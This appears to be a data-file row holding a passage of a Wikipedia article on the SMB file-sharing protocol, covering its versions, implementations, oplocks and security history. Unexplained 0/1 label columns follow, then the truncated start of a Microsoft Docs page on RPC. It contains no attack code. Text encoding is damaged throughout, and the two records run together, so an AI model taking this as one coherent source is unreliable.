as a transport (a largely experimental effort that required further refinement). Microsoft submitted some partial specifications as Internet-Drafts to the IETF,[13] though these submissions have expired. SMB 2.0[edit] Microsoft introduced a new version of the protocol (SMB 2.0 or SMB2) with Windows Vista in 2006.[14] Although the protocol is proprietary, its specification has been published to allow other systems to interoperate with Microsoft operating systems that use the new protocol.[15] SMB2 reduces the 'chattiness' of the SMB 1.0 protocol by reducing the number of commands and subcommands from over a hundred to just nineteen.[16] It has mechanisms for pipelining, that is, sending additional requests before the response to a previous request arrives, thereby improving performance over high latency links. It adds the ability to compound multiple actions into a single request, which significantly reduces the number of round-trips the client needs to make to the server, improving performance as a result.[16] SMB1 also has a compounding mechanism\xe2\x80\x94known as AndX\xe2\x80\x94to compound multiple actions, but Microsoft clients rarely use AndX.[citation needed] It also introduces the notion of ""durable file handles"": these allow a connection to an SMB server to survive brief network outages, as are typical in a wireless network, without having to incur the overhead of re-negotiating a new session. SMB2 includes support for symbolic links. Other improvements include caching of file properties, improved message signing with HMAC SHA-256 hashing algorithm and better scalability by increasing the number of users, shares and open files per server among others.[16] The SMB1 protocol uses 16-bit data sizes, which amongst other things, limits the maximum block size to 64K. SMB2 uses 32 or 64-bit wide storage fields, and 128 bits in the case of file-handles, thereby removing previous constraints on block sizes, which improves performance with large file transfers over fast networks.[16] Windows Vista/Server 2008 and later operating systems use SMB2 when communicating with other machines also capable of using SMB2. SMB1 continues in use for connections with older versions of Windows, as well various vendors' NAS solutions. Samba 3.5 also includes experimental support for SMB2.[17] Samba 3.6 fully supports SMB2, except the modification of user quotas using the Windows quota management tools.[18] When SMB2 was introduced it brought a number of benefits over SMB1 for third party implementers of SMB protocols. SMB1, originally designed by IBM, was reverse engineered, and later became part of a wide variety of non-Windows operating systems such as Xenix, OS/2 and VMS (Pathworks). X/Open standardized it partially; it also had draft IETF standards which lapsed. (See http://ubiqx.org/cifs/Intro.html for historical detail.) SMB2 is also a relatively clean break with the past. Microsoft's SMB1 code has to work with a large variety of SMB clients and servers. SMB1 features many versions of information for commands (selecting what structure to return for a particular request) because features such as Unicode support were retro-fitted at a later date. SMB2 involves significantly reduced compatibility-testing for implementers of the protocol. SMB2 code has considerably less complexity since far less variability exists (for example, non-Unicode code paths become redundant as SMB2 requires Unicode support). Apple is also migrating to SMB2 (from their own Apple Filing Protocol, now legacy) with OS X 10.9.[19] This transition was fraught with compatibility problems though.[20][21] Non-default support for SMB2 appeared in fact in OS X 10.7, when Apple abandoned Samba in favor of its own SMB implementation called SMBX.[19] Apple switched to its own SMBX implementation after Samba adopted GPLv3.[22][23] The Linux kernel's CIFS client file system has SMB2 support since version 3.7.[24] SMB 2.1[edit] SMB 2.1, introduced with Windows 7 and Server 2008 R2, introduced minor performance enhancements with a new opportunistic locking mechanism.[25] SMB 3.0[edit] SMB 3.0 (previously named SMB 2.2)[26] was introduced with Windows 8[26] and Windows Server 2012.[26] It brought several significant changes that are intended to add functionality and improve SMB2 performance,[27] notably in virtualized data centers: the SMB Direct Protocol (SMB over remote direct memory access [RDMA]) SMB Multichannel (multiple connections per SMB session),[28][29] SMB Transparent Failover[30][31] It also introduces several security enhancements, such as end-to-end encryption and a new AES based signing algorithm.[32][33] SMB 3.0.2[edit] SMB 3.0.2 (known as 3.02 at the time) was introduced with Windows 8.1 and Windows Server 2012 R2;[34][35] in those and later releases, the earlier SMB version 1 can be optionally disabled to increase security.[36][37] SMB 3.1.1[edit] SMB 3.1.1 was introduced with Windows 10 and Windows Server 2016.[38] This version supports AES-128 GCM encryption in addition to AES-128 CCM encryption added in SMB3, and implements pre-authentication integrity check using SHA-512 hash. SMB 3.1.1 also makes secure negotiation mandatory when connecting to clients using SMB 2.x and higher. Implementation[edit] Client-server approach[edit] This section does not cite any sources. Please help improve this section by adding citations to reliable sources. Unsourced material may be challenged and removed. (February 2019) (Learn how and when to remove this template message) SMB works through a client-server approach, where a client makes specific requests and the server responds accordingly. One section of the SMB protocol specifically deals with access to filesystems, such that clients may make requests to a file server; but some other sections of the SMB protocol specialize in inter-process communication (IPC). The Inter-Process Communication (IPC) share, or ipc$, is a network share on computers running Microsoft Windows. This virtual share is used to facilitate communication between processes and computers over SMB, often to exchange data between computers that have been authenticated. Developers have optimized the SMB protocol for local subnet usage, but users have also put SMB to work to access different subnets across the Internet\xe2\x80\x94exploits involving file-sharing or print-sharing in MS Windows environments usually focus on such usage. SMB servers make their file systems and other resources available to clients on the network. Client computers may want access to the shared file systems and printers on the server, and in this primary functionality SMB has become best-known and most heavily used. However, the SMB file-server aspect would count for little without the NT domains suite of protocols, which provide NT-style domain-based authentication at the very least. Almost all implementations of SMB servers use NT Domain authentication to validate user-access to resources. Samba[edit] Main article: Samba (software) This section needs to be updated. Please update this article to reflect recent events or newly available information. (April 2016) In 1991 Andrew Tridgell started the development of Samba, a free-software re-implementation (using reverse engineering) of the SMB/CIFS networking protocol for Unix-like systems, initially to implement an SMB server to allow PC clients running the DEC Pathworks client to access files on SunOS machines.[9][39] Because of the importance of the SMB protocol in interacting with the widespread Microsoft Windows platform, Samba became a popular free software implementation of a compatible SMB client and server to allow non-Windows operating systems, such as Unix-like operating systems, to interoperate with Windows. As of version 3 (2003), Samba provides file and print services for Microsoft Windows clients and can integrate with a Windows NT 4.0 server domain, either as a Primary Domain Controller (PDC) or as a domain member. Samba4 installations can act as an Active Directory domain controller or member server, at Windows 2008 domain and forest functional levels.[40] Package managers in Linux distributions can search for the cifs-utils package. The package is from the Samba maintainers. NQ[edit] NQ is a family of portable SMB client and server implementations developed by Visuality Systems, an Israel-based company established in 1998 by Sam Widerman, formerly the CEO of Siemens Data Communications. The NQ family comprises an embedded SMB stack (written in C), a Pure Java SMB Client and a storage SMB Server implementation. All of them support the latest SMB\xc2 3.1.1 dialect. NQ is portable to non-Windows platforms such as Linux, iOS, Android, as well as to VxWorks, Integrity, and other real-time operating systems.[41] MoSMB[edit] MoSMB is a proprietary SMB implementation for Linux and other Unix-like systems, developed by Ryussi Technologies. It supports only SMB 2.x and SMB 3.x.[42] Tuxera SMB[edit] Tuxera SMB is a proprietary SMB server implementation developed by Tuxera that can be run either in kernel or user space.[43] It supports SMB 3.1.1 and previous versions. Likewise[edit] Likewise developed a CIFS/SMB implementation (versions 1.0, 2.0, 2.1 and NFS 3.0) back in 2009 that provided a multiprotocol, identity-aware platform for network access to files used in OEM storage products built on Linux/Unix based devices. The platform could be used for traditional NAS, Cloud Gateway, and Cloud Caching devices for providing secure access to files across a network. Likewise was purchased by EMC Isilon in 2012. CIFSD[edit] CIFSD is an open source In-kernel CIFS/SMB server implemenation for Linux kernel. It has the following advantages over user-space implementations: It provides better performance, and it's easier to implement some features like SMB Direct. It supports SMB 3.1.1 and previous versions. Performance issues[edit] The use of the SMB protocol has often correlated with a significant increase in broadcast traffic on a network. However the SMB itself does not use broadcasts\xe2\x80\x94the broadcast problems commonly associated with SMB actually originate with the NetBIOS service location protocol.[clarification needed] By default, a Microsoft Windows NT 4.0 server used NetBIOS to advertise and locate services. NetBIOS functions by broadcasting services available on a particular host at regular intervals. While this usually makes for an acceptable default in a network with a smaller number of hosts, increased broadcast traffic can cause problems as the number of hosts on the network increases. The implementation of name resolution infrastructure in the form of Windows Internet Naming Service (WINS) or Domain Name System (DNS) resolves this problem. WINS was a proprietary implementation used with Windows NT 4.0 networks, but brought about its own issues and complexities in the design and maintenance of a Microsoft network. Since the release of Windows 2000, the use of WINS for name resolution has been deprecated by Microsoft, with hierarchical Dynamic DNS now configured as the default name resolution protocol for all Windows operating systems. Resolution of (short) NetBIOS names by DNS requires that a DNS client expand short names, usually by appending a connection-specific DNS suffix to its DNS lookup queries. WINS can still be configured on clients as a secondary name resolution protocol for interoperability with legacy Windows environments and applications. Further, Microsoft DNS servers can forward name resolution requests to legacy WINS servers in order to support name resolution integration with legacy (pre-Windows 2000) environments that do not support DNS. Network designers have found that latency has a significant impact on the performance of the SMB 1.0 protocol, that it performs more poorly than other protocols like FTP. Monitoring reveals a high degree of ""chattiness"" and a disregard of network latency between hosts.[16] For example, a VPN connection over the Internet will often introduce network latency. Microsoft has explained that performance issues come about primarily because SMB 1.0 is a block-level rather than a streaming protocol, that was originally designed for small LANs; it has a block size that is limited to 64K, SMB signing creates an additional overhead and the TCP window size is not optimized for WAN links.[44] Solutions to this problem include the updated SMB 2.0 protocol,[45] Offline Files, TCP window scaling and WAN acceleration devices from various network vendors that cache and optimize SMB 1.0[46] and 2.0.[47] Microsoft's modifications[edit] Microsoft added several extensions to its own SMB implementation. For example, it added NTLM, followed by NTLMv2 authentication protocols, in order to address security weakness in the original LAN Manager authentication. LAN Manager authentication was implemented based on the original legacy SMB specification's requirement to use IBM ""LAN Manager"" passwords, but implemented DES in a flawed manner that allowed passwords to be cracked.[48] Later, Kerberos authentication was also added. The NT 4.0 Domain logon protocols initially used 40-bit encryption outside of the United States, because of export restrictions on stronger 128-bit encryption[49] (subsequently lifted in 1996 when President Bill Clinton signed Executive Order 13026[50]). Opportunistic locking support has changed with each server release. Opportunistic locking[edit] In the SMB protocol, opportunistic locking is a mechanism designed to improve performance by controlling caching of network files by the client.[51] Unlike traditional locks, OpLocks are not strictly file locking or used to provide mutual exclusion. There are four types of opportunistic locks: Batch Locks Batch OpLocks were created originally to support a particular behavior of DOS batch file execution operation in which the file is opened and closed many times in a short period, which is a performance problem. To solve this, a client may ask for an OpLock of type ""batch"". In this case, the client delays sending the close request and if a subsequent open request is given, the two requests cancel each other.[52] Level 1 OpLocks / Exclusive Locks When an application opens in ""shared mode"" a file hosted on an SMB server which is not opened by any other process (or other clients) the client receives an exclusive OpLock from the server. This means that the client may now assume that it is the only process with access to this particular file, and the client may now cache all changes to the file before committing it to the server. This is a performance improvement, since fewer round-trips are required in order to read and write to the file. If another client/process tries to open the same file, the server sends a message to the client (called a break or revocation) which invalidates the exclusive lock previously given to the client. The client then flushes all changes to the file. Level 2 OpLocks If an exclusive OpLock is held by a client and a locked file is opened by a third party, the client has to relinquish its exclusive OpLock to allow the other client's write/read access. A client may then receive a ""Level 2 OpLock"" from the server. A Level 2 OpLock allows the caching of read requests but excludes write caching. Filter OpLocks Added in NT 4.0., Filter Oplocks are similar to Level 2 OpLocks but prevent sharing-mode violations between file open and lock reception. Microsoft advises use of Filter OpLocks only where it is important to allow multiple readers and Level 2 OpLocks in other circumstances. Clients holding an OpLock do not really hold a lock on the file, instead they are notified via a break when another client wants to access the file in a way inconsistent with their lock. The other client's request is held up while the break is being processed. Breaks In contrast with the SMB protocol's ""standard"" behavior, a break request may be sent from server to client. It informs the client that an OpLock is no longer valid. This happens, for example, when another client wishes to open a file in a way that invalidates the OpLock. The first client is then sent an OpLock break and required to send all its local changes (in case of batch or exclusive OpLocks), if any, and acknowledge the OpLock break. Upon this acknowledgment the server can reply to the second client in a consistent manner. Security[edit] Over the years, there have been many security vulnerabilities in Microsoft's implementation of the protocol or components on which it directly relies.[53][54] Other vendors' security vulnerabilities lie primarily in a lack of support for newer authentication protocols like NTLMv2 and Kerberos in favor of protocols like NTLMv1, LanMan, or plaintext passwords. Real-time attack tracking[55] shows that SMB is one of the primary attack vectors for intrusion attempts,[56] for example the 2014 Sony Pictures attack,[57] and the WannaCry ransomware attack of 2017.[58] Specifications[edit] This section needs expansion with: WSPP [1], PFIF [2]. You can help by adding to it. (January 2014) The specifications for the SMB are proprietary and were originally closed, thereby forcing other vendors and projects to reverse-engineer the protocol in order to interoperate with it. The SMB 1.0 protocol was eventually published some time after it was reverse engineered, whereas the SMB 2.0 protocol was made available from Microsoft's MSDN Open Specifications Developer Center from the outset.[59] There are a number of specifications that are relevant to the SMB protocol: MS-CIFS [3] MS-CIFS is a recent replacement (2007) for the draft-leach-cifs-v1-spec-02.txt a document widely used to implement SMB clients, but also known to have errors of omission and commission.[citation needed] MS-SMB [4] Specification for Microsoft Extensions to MS-CIFS MS-SMB2 [5] Specification for the SMB 2 and SMB 3 protocols MS-FSSO [6] Describes the intended functionality of the Windows File Access Services System, how it interacts with systems and applications that need file services, and how it interacts with administrative clients to configure and manage the system. MS-SMBD [7] SMB2 Remote Direct Memory Access (RDMA) Transport Protocol Specification See also[edit] List of products that support SMB Active Directory Administrative share Shared file access AppleTalk Network File System (protocol) Remote File System WebDAV Uniform Naming Convention DCE/RPC Network Neighborhood References[edit] ^ ""Common Internet File System"". Microsoft TechNet Library. Retrieved August 20, 2013. ^ ""Microsoft SMB Protocol and CIFS Protocol Overview"". Microsoft MSDN Library. July 25, 2013. Retrieved August 20, 2013. ^ ""Microsoft SMB Protocol and CIFS Protocol Overview"". Microsoft. October 22, 2009. Retrieved April 10, 2019. ^ ""Lan Manager Networking Concepts"". Microsoft. ^ ""MSKB887429: Overview of Server Message Block signing"". Microsoft Corporation. November 30, 2007. Retrieved October 24, 2012. Security Signatures (SMB sequence numbers) ^ Jesper M. Johansson (September 8, 2005). ""How to Shoot Yourself in the Foot with Security, Part 1"". Microsoft Corporation. Retrieved October 24, 2012. This article addresses [...] Server Message Block (SMB) message signing. ^ ""MSKB887429: Overview of Server Message Block signing"". Microsoft Corporation. November 30, 2007. Retrieved October 24, 2012. By default, SMB signing is required for incoming SMB sessions on Windows Server 2003-based domain controllers. ^ Jose Barreto (December 1, 2010). ""The Basics of SMB Signing (covering both SMB1 and SMB2)"". Microsoft TechNet Server & Management Blogs. Retrieved October 24, 2012. This security mechanism in the SMB protocol helps avoid issues like tampering of packets and ""man in the middle"" attacks. [...] SMB signing is available in all currently supported versions of Windows, but it\xe2\x80\x99s only enabled by default on Domain Controllers. This is recommended for Domain Controllers because SMB is the protocol used by clients to download Group Policy information. SMB signing provides a way to ensure that the client is receiving genuine Group Policy. ^ a b c Tridgell, Andrew. ""Myths About Samba"". Retrieved January 3, 2016. ^ ""Direct hosting of SMB over TCP/IP"". Microsoft. October 11, 2007. Retrieved November 1, 2009. ^ Kyttle, Ralph (May 13, 2017). ""SMB1 \xe2\x80\x93 Audit Active Usage using Message Analyzer"". Microsoft TechNet. Microsoft. Retrieved March 28, 2019. ^ ""WebNFS - Technical Overview"". Archived from the original on May 18, 2007. ^ * I. Heizer; P. Leach; D. Perry (June 13, 1996). ""Common Internet File System Protocol (CIFS/1.0)"". Paul J. Leach; Dilip C. Naik (January 3, 1997). ""CIFS Logon and Pass Through Authentication"". Paul J. Leach; Dilip C. Naik (January 10, 1997). ""CIFS/E Browser Protocol"". Paul J. Leach; Dilip C. Naik (January 31, 1997). ""CIFS Printing Specification"". Paul J. Leach; Dilip C. Naik (February 26, 1997). ""CIFS Remote Administration Protocol"". Paul J. Leach; Dilip C. Naik (December 19, 1997). ""A Common Internet File System (CIFS/1.0) Protocol"". ^ Navjot Virk and Prashanth Prahalad (March 10, 2006). ""What's new in SMB in Windows Vista"". Chk Your Dsks. MSDN. Archived from the original on May 5, 2006. Retrieved May 1, 2006. Cite uses deprecated parameter |deadurl= (help) ^ ""(MS-SMB2): Server Message Block (SMB) Version 2 Protocol Specification"". Microsoft. September 25, 2009. Retrieved November 1, 2009. ^ a b c d e Jose Barreto (December 9, 2008). ""SMB2, a Complete Redesign of the Main Remote File Protocol for Windows"". Microsoft TechNet Server & Management Blogs. Retrieved November 1, 2009. ^ Samba 3.5.0 Available for Download ^ Samba 3.6.0 Available for Download ^ a b Eran, Daniel (June 11, 2013). ""Apple shifts from AFP file sharing to SMB2 in OS X 10.9 Mavericks"". Appleinsider.com. Retrieved January 12, 2014. ^ Vaughan, Steven J. (October 28, 2013). ""Mavericks' SMB2 problem and fixes"". ZDNet. Retrieved January 12, 2014. ^ MacParc. ""10.9: Switch the SMB stack to use SMB1 as default"". Mac OS X Hints. macworld.com. Retrieved January 12, 2014. ^ Topher Kessler (March 23, 2011). ""Say adios to Samba in OS X"". CNET. ^ Thom Holwerda (March 26, 2011). ""Apple Ditches SAMBA in Favour of Homegrown Replacement"". ^ ""Linux 3.7 - Linux Kernel Newbies"". ^ ""Implementing an End-User Data Centralization Solution"". Microsoft. October 21, 2009. pp.\xc2 10\xe2\x80\x9311. Retrieved November 2, 2009. ^ a b c Jeffrey Snover (April 19, 2012). ""Windows Server Blog: SMB 2.2 is now SMB 3.0"". Microsoft. Retrieved June 14, 2012. ^ Chelsio Communications. ""40G SMB Direct"". ^ Jose Barreto (October 19, 2012). ""SNIA Tutorial on the SMB Protocol"" (PDF). Storage Networking Industry Association. Retrieved November 28, 2012. ^ Thomas Pfenning. ""The Future of File Protocols: SMB 2.2 in the Datacenter"" (PDF). Archived from the original (PDF) on July 20, 2012. ^ Joergensen, Claus (June 7, 2012). ""SMB Transparent Failover \xe2\x80\x93 making file shares continuously available"". Microsoft TechNet. ^ Savill, John (August 21, 2012). ""New Ways to Enable High Availability for File Shares"". Windows IT Pro. ^ ""SMB Security Enhancements"". Microsoft Technet. January 15, 2014. Retrieved June 18, 2014. ^ Jose Barreto (May 5, 2013). ""Updated Links on Windows Server 2012 File Server and SMB 3.0"". Microsoft TechNet Server & Management Blogs. ^ Jose Barreto (July 7, 2014). ""Updated Links on Windows Server 2012 R2 File Server and SMB 3.02"". Microsoft TechNet Server & Management Blogs. ^ Jose Barreto (December 12, 2013). ""Storage Developer Conference \xe2\x80\x93 SDC 2013 slides now publicly available. Here are the links to Microsoft slides\xe2\x80\xa6"". Microsoft TechNet Server & Management Blogs. ^ Eric Geier (December 5, 2013). ""WindowsNetworking.com: Improvements in the SMB 3.0 and 3.02 Protocol Updates"". WindowsNetworking.com. ^ Jose Barreto (April 30, 2015). ""SMB3 Networking Links for Windows Server 2012 R2"". Microsoft TechNet Server & Management Blogs. ^ Jose Barreto (May 5, 2015). ""What's new in SMB 3.1.1 in the Windows Server 2016 Technical Preview 2"". Microsoft TechNet Server & Management Blogs. ^ Tridgell, Andrew (June 27, 1997). ""A bit of history and a bit of fun"". Retrieved July 26, 2011. ^ ""Samba 4 functional levels"". February 25, 2011. Retrieved January 12, 2014. ^ ""YNQ\xe2\x84\xa2 SMB Library For Embedded Devices"". visualitynq.com. Retrieved May 30, 2019. ^ Dr. Sunu Engineer. ""Building a Highly Scalable and Performant SMB Protocol Server"" (PDF). ^ ""Microsoft and Tuxera strengthen partnership through Tuxera SMB Server"". Microsoft. Microsoft News Center. Retrieved February 6, 2017. ^ Neil Carpenter (October 26, 2004). ""SMB/CIFS Performance Over WAN Links"". Microsoft. Retrieved November 1, 2009. ^ ""What's New in SMB in Windows Server"". Microsoft. Retrieved February 6, 2017. ^ Mark Rabinovich, Igor Gokhman. ""CIFS Acceleration Techniques"" (PDF). Storage Developer Conference, SNIA, Santa Clara 2009. ^ Mark Rabinovich. ""Accelerating SMB2"" (PDF). Storage Developer Conference, SNIA, Santa Clara 2011. ^ Christopher Hertel (1999). ""SMB: The Server Message Block Protocol"". Retrieved November 1, 2009. ^ ""Description of Microsoft Windows Encryption Pack 1"". Microsoft. November 1, 2006. Retrieved November 1, 2009. ^ ""US Executive Order 13026"" (PDF). United States Government. 1996. Retrieved November 1, 2009. ^ ""Opportunistic Locks"". Microsoft. Retrieved November 6, 2012. ^ Sphere, I.T. (2014), All About Opportunistic Locking, retrieved April 9, 2014 ^ ""MS02-070: Flaw in SMB Signing May Permit Group Policy to Be Modified"". Microsoft. December 1, 2007. Retrieved November 1, 2009. ^ ""MS09-001: Vulnerabilities in SMB could allow remote code execution"". Microsoft. January 13, 2009. Retrieved November 1, 2009. , ^ ""Sicherheitstacho.eu"". Deutsche Telekom. March 7, 2013. Retrieved March 7, 2013. ^ ""Alert (TA14-353A) Targeted Destructive Malware"". US-CERT. ^ ""Sony Hackers Used Server Message Block (SMB) Worm Tool"". ^ ""WannaCry Ransomware Attack Hits Victims With Microsoft SMB Exploit"". eWeek. Retrieved May 13, 2017. ^ Windows Protocols External links[edit] Hertel, Christopher (2003). Implementing CIFS\xc2 \xe2\x80\x93 The Common Internet FileSystem. Prentice Hall. ISBN\xc2 0-13-047116-X. (Text licensed under the Open Publication License, v1.0 or later, available from the link above.) Common Internet File System, technical details from Microsoft Corporation the NT LM 0.12 dialect of SMB. In Microsoft Word format Steven M. French, A New Network File System is Born: Comparison of SMB2, CIFS, and NFS, Linux Symposium 2007 Steve French, The Future of File Protocols: SMB2 Meets Linux, Linux Collaboration Summit 2012 v t e Uniform Resource Identifier (URI) schemes Official about acct crid data file ftp geo gopher http https info ldap mailto nfs nntp sip / sips tag tel telnet urn view-source ws / wss xmpp Unofficial coffee ed2k feed finger irc / irc6 / ircs ldaps magnet rsync ymsgr Protocol list v t e File systems Comparison of file systems distributed Unix filesystem Disk ADFS AdvFS Amiga FFS Amiga OFS APFS AthFS bcachefs BFS Be File System Boot File System Btrfs CVFS CXFS DFS EFS Encrypting File System Extent File System Episode ext ext2 ext3 ext3cow ext4 FFS/FFS2 FAT exFAT Files-11 Fossil HAMMER HAMMER2 HFS HFS+ HPFS HTFS IBM Spectrum Scale JFS LFS MFS Macintosh File System TiVo Media File System MINIX NetWare File System Next3 NILFS NILFS2 NSS NTFS OneFS PFS QFS QNX4FS ReFS ReiserFS Reiser4 Reliance Reliance Nitro RFS SFS SNFS Soup (Apple) Tux3 UBIFS UFS soft updates WAPBL VxFS WAFL Xiafs XFS Xsan zFS ZFS Optical disc HSF ISO 9660 ISO 13490 UDF Flash memory and SSD APFS FAT exFAT CHFS TFAT EROFS FFS2 F2FS HPFS JFFS JFFS2 JFS LogFS NILFS NILFS2 NVFS YAFFS UBIFS Distributed CXFS GFS2 Google File System OCFS2 OrangeFS PVFS QFS Xsan more... NAS AFS (OpenAFS) AFP Coda DFS Google File System IBM Spectrum Scale Lustre NCP NFS POHMELFS Hadoop SMB (CIFS) SSHFS more... Specialized Aufs AXFS Boot File System CDfs Compact Disc File System cramfs Davfs2 EROFS FTPFS FUSE Lnfs LTFS NOVA MVFS SquashFS UMSDOS OverlayFS UnionFS WBFS Pseudo and virtual configfs devfs debugfs kernfs procfs specfs sysfs tmpfs WinFS Encrypted eCryptfs EncFS EFS Rubberhose SSHFS ZFS Types Clustered Global Grid Self-certifying Flash Journaling Log-structured Object Record-oriented Semantic Steganographic Synthetic Versioning Features Case preservation Copy-on-write Data deduplication Data scrubbing Execute in place Extent File attribute Extended file attributes File change log Fork Links Hard Symbolic Access control Access control list Filesystem-level encryption Permissions Modes Sticky bit Interfaces File manager File system API Installable File System Virtual file system Lists Cryptographic Default Log-structured Retrieved from ""https://en.wikipedia.org/w/index.php?title=Server_Message_Block&oldid=912532379"" Categories: Application layer protocols Inter-process communication Network file systems Network protocols Windows communication and services Hidden categories: CS1 errors: deprecated parameters Use mdy dates from August 2016 Wikipedia articles needing clarification from November 2009 All articles with unsourced statements Articles with unsourced statements from November 2009 Articles with unsourced statements from January 2008 Articles with unsourced statements from November 2010 Articles needing additional references from February 2019 All articles needing additional references Wikipedia articles in need of updating from April 2016 All Wikipedia articles in need of updating Wikipedia articles needing clarification from March 2013 Articles to be expanded from January 2014 All articles to be expanded Articles using small message boxes Articles with unsourced statements from November 2013 Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page Print/export Create a book Download as PDF Printable version Languages \xc4\x8ce\xc5\xa1tina Deutsch Espa\xc3\xb1ol Euskara \xd9\x81\xd8\xa7\xd8\xb1\xd8\xb3\xdb\x8c Fran\xc3\xa7ais \xed\x95\x9c\xea\xb5\xad\xec\x96\xb4 Bahasa Indonesia Italiano \xd7\xa2\xd7\x91\xd7\xa8\xd7\x99\xd7\xaa Latvie\xc5\xa1u Lietuvi\xc5\xb3 Magyar Nederlands \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Piemont\xc3\xa8is Polski Portugu\xc3\xaas \xd0 \xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Sloven\xc4\x8dina Suomi Svenska \xd0\xa3\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 \xe4\xb8\xad\xe6\x96\x87 Edit links This page was last edited on 26 August 2019, at 07:11\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","1","1","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1" -"What Is RPC?: Remote Procedure Call (RPC) | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents What Is RPC? 10/08/2009 7 minutes to read In this article Applies To: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2 What Is RPC? In this section Terms and Definitions RPC Dependencies and Interactions Microsoft Remote Procedure Call (RPC) is a powerful technology for creating distributed client/server programs. RPC is an interprocess communication technique that allows client and server software to communicate. The Microsoft RPC facility is compatible with the Open Group\xe2\x80\x99s Distributed Computing Environment (DCE) specification for remote procedure calls and is interoperable with other DCE-based RPC systems, such as those for HP-UX and IBM AIX UNIX\xe2\x80\x93based operating systems. Computer operating systems and programs have steadily gotten more complex over the years. With each release, there are more features. The growing intricacy of systems makes it more difficult for developers to avoid errors during the development process. Often, developers create a solution for their system or application when a nearly identical solution has already been devised. This duplication of effort consumes time and money and adds complexity to already complex systems. RPC is designed to mitigate these issues by providing a common interface between applications. RPC serves as a go\xe2\x80\x93between for client/server communications. RPC is designed to make client/server interaction easier and safer by factoring out common tasks, such as security, synchronization, and data flow handling, into a common library so that developers do not have to dedicate the time and effort into developing their own solutions. Terms and Definitions The following terms are associated with RPC. Client A process, such as a program or task, that requests a service provided by another program. The client process uses the requested service without having to \xe2\x80\x9cdeal\xe2\x80\x9d with many working details about the other program or the service. Server A process, such as a program or task, that responds to requests from a client. Endpoint The name, port, or group of ports on a host system that is monitored by a server program for incoming client requests. The endpoint is a network-specific address of a server process for remote procedure calls. The name of the endpoint depends on the protocol sequence being used. Endpoint Mapper (EPM) Part of the RPC subsystem that resolves dynamic endpoints in response to client requests and, in some configurations, dynamically assigns endpoints to servers. Client Stub Module within a client application containing all of the functions necessary for the client to make remote procedure calls using the model of a traditional function call in a standalone application. The client stub is responsible for invoking the marshalling engine and some of the RPC application programming interfaces (APIs). Server Stub Module within a server application or service that contains all of the functions necessary for the server to handle remote requests using local procedure calls. RPC Dependencies and Interactions RPC is a client/server technology in the most generic sense. There is a sender and a receiver; data is transferred between them. This can be classic client/server (for example, Microsoft Outlook communicating with a server running Microsoft Exchange Server) or system services within the computer communicating with each other. The latter is especially common. Much of the Windows architecture is composed of services that communicate with each other to accomplish a task. Most services built into the Windows architecture use RPC to communicate with each other. The following table briefly describes the services in Windows\xc2 Server\xc2 2003 that depend on the RPC system service (RPCSS). Services That Depend on RPCSS Service Description Background Intelligent Transfer Service Transfers data between clients and servers in the background. COM+ Event System Supports System Event Notification Service (SENS), which provides automatic distribution of events to subscribing Component Object Model (COM) components. COM+ System Application Manages the configuration and tracking of COM+-based components. Cryptographic Services Provides three management services: Catalog Database Service, which confirms the signatures of Windows files; Protected Root Service, which adds and removes Trusted Root Certification Authority certificates from this computer; and Key Service, which helps enroll this computer for certificates. DHCP Server Performs TCP/IP configuration for DHCP clients, including dynamic assignments of IP addresses, specification of the WINS and DNS servers, and connection\xe2\x80\x93specific Domain Name System (DNS) names. Distributed Link Tracking Client Enables client programs to track linked files that are moved within an NTFS volume to another NTFS volume on the same computer or to an NTFS volume on another computer. Distributed Link Tracking Server Enables the Distributed Link Tracking Client service within the same domain to provide more reliable and efficient maintenance of links within the domain. Distributed Link Transaction Coordinator Coordinates transactions that span multiple resource managers, such as databases, message queues, and file systems. DNS Server Enables DNS clients to resolve DNS names by answering DNS queries and dynamic update requests. Error Reporting Service Collects, stores, and reports unexpected application failures to Microsoft. File Replication Service Allows files to be automatically copied and maintained simultaneously on multiple servers. Help and Support Enables Help and Support Center to run on the computer. Human Interface Device Access Enables generic input access to Human Interface Devices (HID), which activates and maintains the use of predefined hot buttons on keyboards, remote controls, and other multimedia devices. Indexing Service Indexes contents and properties of files on local and remote computers; provides rapid access to files through flexible querying language. IPSec Services Provides end-to-end security between clients and servers on TCP/IP networks. Kerberos Key Distribution Center On domain controllers, enables users to log on to the network using the Kerberos authentication protocol. Logical Disk Manager Detects and monitors new hard disk drives and sends disk volume information to Logical Disk Manager Administrative Service for configuration. Logical Disk Manager Administrative Service Configures hard disk drives and volumes. Messenger Transmits net send and Alerter service messages between clients and servers. This service is not related to Windows Messenger. Microsoft Software Shadow Copy Provider Manages software-based volume shadow copies taken by the Volume Shadow Copy service. Network Connections Manages objects 